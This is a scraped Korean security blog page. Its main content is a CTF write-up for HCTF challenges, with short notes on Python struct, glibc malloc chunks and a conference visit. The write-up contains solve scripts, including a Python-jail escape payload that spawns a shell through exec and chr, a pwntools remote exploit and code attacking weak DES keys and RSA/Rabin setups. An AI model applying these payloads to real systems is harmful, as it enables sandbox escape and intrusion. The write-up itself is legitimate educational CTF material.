'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04

서울여자대학교 영재원에서 최종 프로젝트로 발표한 자료다.

2019프로젝트.pdf
0.44MB

 

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04

Python 문자열로 표현된 C structs와 Python Value 간의 변환

파일에 Binary Data를 저장하거나 Network Connection 시 사용

struct.pack(fmt, v1, v2,...)

- 지정된 Format에 따라 v1, v2의 value를 Pack을 수행하며 그 결과는 String으로 리턴

struct.unpack(fmt, string)

- 지정된 Format에 따라 String을 Unpack을 수행하며 그 결과는 Tuple로 리턴

CharacterByte orderSizeAlignment

@ native native native
= native standard none
< little-endian standard none
> big-endian standard none
! network (= big-endian) standard none

 

FormatC TypePython typeStandard sizeNotes

x pad byte no value    
c char string of length 1 1  
b signed char integer 1 (3)
B unsigned char integer 1 (3)
? _Bool bool 1 (1)
h short integer 2 (3)
H unsigned short integer 2 (3)
i int integer 4 (3)
I unsigned int integer 4 (3)
l long integer 4 (3)
L unsigned long integer 4 (3)
q long long integer 8 (2), (3)
Q unsigned long long integer 8 (2), (3)
f float float 4 (4)
d double float 8 (4)
s char[] string    
p char[] string    
P void * integer   (5), (3)

 

ex) struct.pack('<B',i)

'Python' 카테고리의 다른 글

python struct module  (0) 2019.11.21
파이썬 리스트의 문자열을 int 형태로 변환  (2) 2019.02.18
Python z3 모듈  (0) 2018.12.02

Newbie

Sanity Check

Description에 FLAG가 있다.

FLAG : HCTF{flag_looks_like_this}

NetCat

주어진 netcat서버에 접속하면 FLAG를 뿜어준다.

FLAG : HCTF{net"Cat" is so cute}

Cultureland

파란색으로 덮힌 바코드를 그림판으로 복구해주면 된다. 어느정도 노가다 하다보니 인식됐다.

FLAG : HCTF{4180021737370713}

CryptoFile

예전에 seed값 이용해서 푸는 문제 풀었을 때 python2랑 python3랑 seed 설정하고 random 값이 다른거를 잊고 왜 안되나 했다. 계속 python2를 이용해서 random_string을 잘못 가져왔다. python3 사용한 random_string 넣고 푸니까 잘 decrypt 된다.

파일이 생성된 시간 2019:11:12 23:59:07+09:00의 time.time() 값은 1573570747 이다.

import random
import string
import time

def random_string(length):
    strs = string.ascii_letters + string.digits
    result = ""
    for _ in range(length):
        result += random.choice(strs)
    return result

seed = 1573570747
random.seed(seed)
key = random_string(32)
iv = random_string(16)
print(key) # FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63
print(iv) # 9DULbzZxWQSgNnZM

key랑 iv값은 구한 후 decrypt 함수에 파일 이름, key, iv 넣고 decrypt해주면 된다.

from Crypto.Cipher import AES
import random
import string
import time
import os

class CryptoFile:
    def encrypt(self, endswith, delete_file):
        for file_name in [i for i in os.listdir('./') if i.endswith(endswith)]:
            target_file = open(file_name, 'rb')
            result = open('CryptoFile-' + self.random_string(2) + '.' + self.random_string(12), 'wb') 
            seed = int(time.time())
            random.seed(seed)
            key = self.random_string(32)
            iv = self.random_string(16)
            result.write(AES.new(key, AES.MODE_CFB, iv).encrypt(target_file.read()))
            if delete_file:
                os.remove(file_name)

    def decrypt(self, file_name, key, iv):
        target_file = open(file_name, 'rb')
        result = open(file_name + ".result", 'wb')
        result.write(AES.new(key, AES.MODE_CFB, iv).decrypt(target_file.read()))

    def random_string(self, length):
        strs = string.ascii_letters + string.digits
        result = ""
        for _ in range(length):
            result += random.choice(strs)
        return result

if __name__ == '__main__':
    # CryptoFile().encrypt(('gg'), True)
    CryptoFile().decrypt('CryptoFile-Xp.NNRyUD7RQLVh','FYqE3ywYFWoIcByuSWhTcB5N7E1yVH63','9DULbzZxWQSgNnZM')

.result파일의 확장자를 png로 바꾸고 이미지 열면 FLAG가 있다.

FLAG : HCTF{Se3d_T1mE_15_D4nG3rouS}

NonPrintable

입력 값하고 \xde\xed\xbe\xef 이 같으면 플래그 파일을 읽을 수 있다.

from pwn import *

p = remote('prob.hctf.icewall.org',10102)
p.sendlineafter('>> ','\xde\xed\xbe\xef')
p.interactive()

FLAG : HCTF{beef steak is delicious}

Python Jail

python -c 로 실행시켜주는데 exec , chr 이 안 막혀있어서 이를 이용해서 풀었다. 아래 페이로드 이용해서 풀었다.

a="__import__('os').system('sh')"
payload = 'exec(' + ''.join('chr('+str(ord(a[i]))+')+' for i in range(len(a)))[:-1] + ')'

FLAG : HCTF{getattr_is_very

very

nice!!}

Take It

힌트가 있길래 딱보면 robots.txt 이용해서 푸는거구나 생각하고 들어갔는데 HCTF-FLAG.txt이 있길래 http://www.nowtakeit.com/HCTF-FLAG.txt 들어갔는데 플래그가 있었다.

FLAG : HCTF{Congratulations_10000_Points_for_First_Solver!!}

Reversing

매우 복잡한 그래프이다. 자세히 보면 인덱스의 글자가 맞는지 아닌지 비교해주는 분기들이다. 인덱스의 값들을 잘 맞추면 된다.

a=[0]*46
a[23]=97;a[19]=74;a[9]=95;a[22]=95;a[6]=118;a[1]=67;a[26]=95;a[7]=101;a[3]=70
a[2]=84;a[8]=110;a[17]=101;a[44]=116;a[32]=97;a[24]=110;a[43]=105;a[14]=104;a[12]=99
a[10]=103;a[28]=111;a[35]=105;a[29]=117;a[31]=99;a[14]=104;a[12]=99;a[10]=103
a[38]=112;a[39]=101;a[34]=95;a[37]=115;a[25]=100;a[18]=95;a[45]=125;a[21]=84;a[40]=99
a[11]=99;a[16]=118;a[30]=95;a[41]=116;a[13]=95;a[4]=123;a[42]=95;a[5]=101
a[20]=73;a[15]=97;a[0]=72;a[33]=110;a[27]=121;a[36]=110
print ''.join(chr(i) for i in a)

FLAG : HCTF{even_gcc_have_JIT_and_you_can_inspect_it}

Forensic

Easy Forensic

Stegsolve 를 이용해서 Blue Plane 0 이미지 좌측에 보면 흰색, 검은색이 반복되며 나온다.

여기서 검은색은 0, 흰색은 1로 치환해줘서 2진수 값 가져와서 8비트씩 끊어서 문자열로 만들면 플래그가 된다.

from PIL import Image

img = Image.open('solved.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
text = ''
black = (0,0,0)
white = (255,255,255)
for i in range(1):
    for j in range(img.height):
        if img_pix[i,j] == black:
            text += '0'
        elif img_pix[i,j] == white:
            text += '1'

b = '010010000100001101010100010001100111101101010111011010000110000101110100010111110100000101011111010100110110100101101101011100000110110001100101010111110101001101110100011001010110011101100001011011100110111101100111011100100110000101110000011010000111100101011111010100000111001001101111011000100110110001100101011011010010000101111101'
print ''.join(map(lambda x: chr(int(x, 2)), [b[i:i+8] for i in xrange(0, len(b),8)]))

FLAG : HCTF{What_A_Simple_Steganography_Problem!}

Normal Forensic

패킷 문제다. 주어진 패킷을 분석해보면 ruu.kr에서 SMTP 프로토콜로 통신을 했다.

220 ruu.kr ESMTP Postfix
HELO ruu.kr
250 ruu.kr
MAIL FROM:master@ruu.kr
250 2.1.0 Ok
RCPT TO:idontknow@ruu.kr
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: master@ruu.kr
To: idontknow@ruu.kr
Subject: Order
Date: Thu, 10 Oct 2019 23:11:21 +0900

OK...

The password is ITISNOTFLAG

Order file will transfer through secret channel...

Good Luck...

.
250 2.0.0 Ok: queued as C2A15240681
QUIT
221 2.0.0 Bye

다른 채널에 더 비밀스러운게 있다고 한다. 대충 쭉쭉 분석하다보니 ICMP 프로토콜로 통신한 부분을 볼 수 있다.

자세히 보니 ICMP Data 영역(마지막 제외 32바이트) 를 주고받은걸 볼 수 있다. 해당 ICMP Data영역에 해당하는 부분을 추출해주면 된다.

tshark -r packet.pcapng -Y 'icmp and ip.src==192.168.3.128' -T fields -e data

위 명령어 사용해서 가져오면 된다. 가져온 hex값을 hex decode해주고 base64로 decode해주면 7z파일이 나온다 앞에 dummy 부분만 제거하고 7z만 가져와서 아까 얻은 password (ITISNOTFLAG) 를 이용해서 풀어주면 ELF파일이 나오는데 이 ELF파일을 실행해주면 플래그가 나온다.

FLAG : HCTF{Now_You_Know_ICMP_Covert_Channel}

Crypto

Easy Crypto

DES key 취약점을 이용한 문제이다. 취약한 키 다 가져와서 DES decrypt Bruteforce해줬다.

from Crypto.Cipher import DES
import string
import re

f = open('flag.enc', 'rb')
ciphertext = f.read()
f.close()

parity = [ '0101010101010101', 'FEFEFEFEFEFEFEFE', 'E0E0E0E0F1F1F1F1', '1F1F1F1F0E0E0E0E' ]
noparity = [ '0000000000000000', 'FFFFFFFFFFFFFFFF', 'E1E1E1E1F0F0F0F0', '1E1E1E1E0F0F0F0F' ]

parity = [ i.decode('hex') for i in parity ]
noparity = [ i.decode('hex') for i in noparity ]

keylist = [parity, noparity]

IV = '87654321'
for key in keylist :
    for KEY in key :
        a = DES.new(KEY, DES.MODE_OFB, IV)
        plain = a.decrypt(ciphertext)
        print plain

FLAG : HCTF{It_is_So_Easy_Crypto_Problem_Right?}

Normal Crypto

Hastad’s Broadcast Attack 문제다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p1 = random_prime(2 ** 512)
q1 = random_prime(2 ** 512)
n1 = p1*q1
c1 = pow(bytes_to_long(flag), 3, n1)

p2 = random_prime(2 ** 512) 
q2 = random_prime(2 ** 512)
n2 = p2*q2
c2 = pow(bytes_to_long(flag), 3, n2)

p3 = random_prime(2 ** 512)
q3 = random_prime(2 ** 512)
n3 = p3*q3
c3 = pow(bytes_to_long(flag), 3, n3)

'''
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953
'''

중국인의 나머지 정리(CRT; Chinese Remainder Theorem)를 이용해서 계산해주면 된다. 구글링하면 잘 나온다.

import gmpy

e = 3
n1 = 51288326117082216488243544411546341945726200457761206644453923648745691133003298888640252920064366336153188590374906234193582318331511534150725498901204272996547758897280686510115493963949922521015212579960046142009026018249435094931175160476695080910770853450088955925931824360889598897960812196501910310971
c1 = 28664547940927727470345840711427399029606901366945466558505886421148178887598108954927053378246067525782321635926368688599601177978705377673276761471247346043054112813201264689017682322288369008503806688587531250974252044496239856005783248513792583183221373808082430000175628167523517126596009125614278899401
n2 = 29457686135991278975006812334310920356301816375997022543935792333970703696552526067677471770683579031803067927853925309291329810629595674400216862296288264098946332200460602662886636986347872294111648892796874085016119364078711660172342567556983822990434691459944961479240777022275803977723283229813386301943
c2 = 17077337519494000172836363832449617495753905384402839209756596335776673357613519709505681025778010115408943551044640911776511058812367697112179693767591405425645379539292855458605246761273813881282099739714024726610417325149805228045155772866483083186845303214010795924962676589099791252639040456901677120150
n3 = 72570233407274155209010922487345535784018612312055202392917019376429008866027961487578709415248191493186061903205333749093176280354945073304299285338734712471052411177028661616522150737451099384372788193639240627293146026956125655121241407595730843161959206866826957178300347986554615242213197995238377803371
c3 = 31438313874268746538209435813008423411657145512975475419766196892386179436013493127502413961298066715514288544164984428909735361469851593467279236104771200982976742894944365211194682572655588971675048664511251481051012641459370727389264675511908790088593553823687386299715190450157524259663191587745887609953

N = n1*n2*n3
N1 = N/n1
N2 = N/n2
N3 = N/n3
u1 = gmpy.invert(N1, n1)
u2 = gmpy.invert(N2, n2)
u3 = gmpy.invert(N3, n3)
M = (c1*u1*N1 + c2*u2*N2 + c3*u3*N3) % N
m = gmpy.root(M,e)[0]

print hex(m)[2:].rstrip("L").decode("hex")

FLAG : HCTF{RSA_and_CRT_are_Very_VerY_vErY_EEEEEEasy_Hey_Fancy_You!}

Hard Crypto

Rabin 이라고 힌트를 준다.

#!/usr/bin/env sage
from Crypto.Util.number import bytes_to_long
from flag import *

p = random_prime(2 ** 512)
q = next_prime(p)
while( (p % 4 != 3) or (q % 4 != 3)):
  p = random_prime(2 ** 512)
  q = next_prime(p)

n = p*q
enc = pow(bytes_to_long(flag), 2, n)

'''
enc = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
'''

Fermat factorization 페르마소수를 이용해서 n을 소인수분해해서 p,q를 구해주면 된다.

#from Crypto.Util.number import long_to_bytes
# -*-coding:utf-8 -*-
from gmpy2 import *

def fermat_factor(n):
    assert n % 2 != 0

    a = isqrt(n)
    b2 = square(a) - n

    while not is_square(b2):
        a += 1
        b2 = square(a) - n
    p = a + isqrt(b2)
    q = a - isqrt(b2)

    return int(p), int(q)

n = 125113791375781590742588776384677849561763911403969678239226246595208477077387851718287113847876756637358464629111609713250406518161996535302555017864010967277368946077999313697436340679738805691707848811752315811099645670395554902117468738736773802070224145546690124014135268318947603905589466494462919823377
p, q = fermat_factor(n)
print("p :" + str(p))
print("q :" + str(q))
print("p/q :" +str(p/float(q)))

c = 73542412655098595288523283051922726948987836481512888688568370390089349895674742919054617819207531547203412993390163795469943072671517862652306841750777311090535745024110632538861884544050117040995590340090004011600842361133477565295421449374080806791669255711773865469446783482295684422403941521840992615081
n = p*q 
ma = []

mp = pow(c,(p+1)//4,p)
mq = pow(c,(q+1)//4,q)
yp = invert(p,q)
yq = invert(q,p)

ma.append((yq*q*mp + yp*p*mq) % n)
ma.append((yq*q*mp - yp*p*mq) % n)
ma.append((-yq*q*mp + yp*p*mq) % n)
ma.append((-yq*q*mp - yp*p*mq) % n)

for m in ma:
    m = hex(m)[2:]
    if (len(m) %2 !=0 ):
        m = '0' + m
    print "M = " + m.decode("hex")

FLAG : HCTF{Rabin_Crypto_Algorithm_is_So_Beautiful_And_This_Problem_Requires_A_Really_Long_Flag_Length}

2019년 11월 7~8일 이틀간 양재동 더K호텔에서 컨퍼런스를 진행했습니다. 

Theori 티오리에서 출제햇고 리버싱 빨리 풀어서 일등했네요 ㅋㅎㅋㅎㅋㅋㅋ Line 인형 얻었습니당

 

 

'일상' 카테고리의 다른 글

Do it! 깡샘의 안드로이드 앱 프로그래밍 with 코틀린 후기  (0) 2021.09.09
지난 3년 회고  (1) 2021.01.16
2019 POC 컨퍼런스  (0) 2019.11.20

chunk = 할당된 메모리



1
2
3
4
5
6
7
8
9
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size/* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links — used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links — used only if free. */
struct malloc_chunk* bk_nextsize;
};
cs


할당된 메모리(chunk)에 대한 정보들로는 prev_size, size, fd, bk, fd_nextsize, bk_nextsize 가 있습니다.


prev_size

prev_size는 이전 chunk가 free 되면 설정되는 값으로, 플래그를 제외한 이전 chunk의 크기 정보가 기록됩니다. 

이 정보를 통해 이전 chunk 의 위치를 쉽게 찾을 수 있습니다. 


size

size에는 현재 chunk의 사이즈가 기록됩니다.

chunk는 8바이트 단위로 정렬되는데, 이때 하위 3비트는 플래그 용도로 쓰입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* size field is or’ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1
 
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)
 
/* size field is or’ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
 
/* check for mmap()’ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
 
/* size field is or’ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
 
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
cs


※ PREV_INUSE : 이전 chunk가 사용중일 때 설정되는 플래그

※ IS_MMAPPED : mmap() 함수로 할당된 chunk일 때 설정되는 플래그

※ NON_MAIN_ARENA : 멀티 쓰레드 환경에서 main 이 아닌 쓰레드에서 생성된 메모리 일 때 설정되는 플래그


fd는 forward pointer, bk는 backward pointer 로, chunk 리스트를 관리하기 위해 chunk의 리스트들 중 각각 이전 chunk와 다음 chunk의 주소를 가리킵니다.

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15
[2018codegate]catshop  (0) 2019.11.13
[2016codegate]Watermelon  (0) 2019.11.13
ARM Reversing  (0) 2019.08.04

+ Recent posts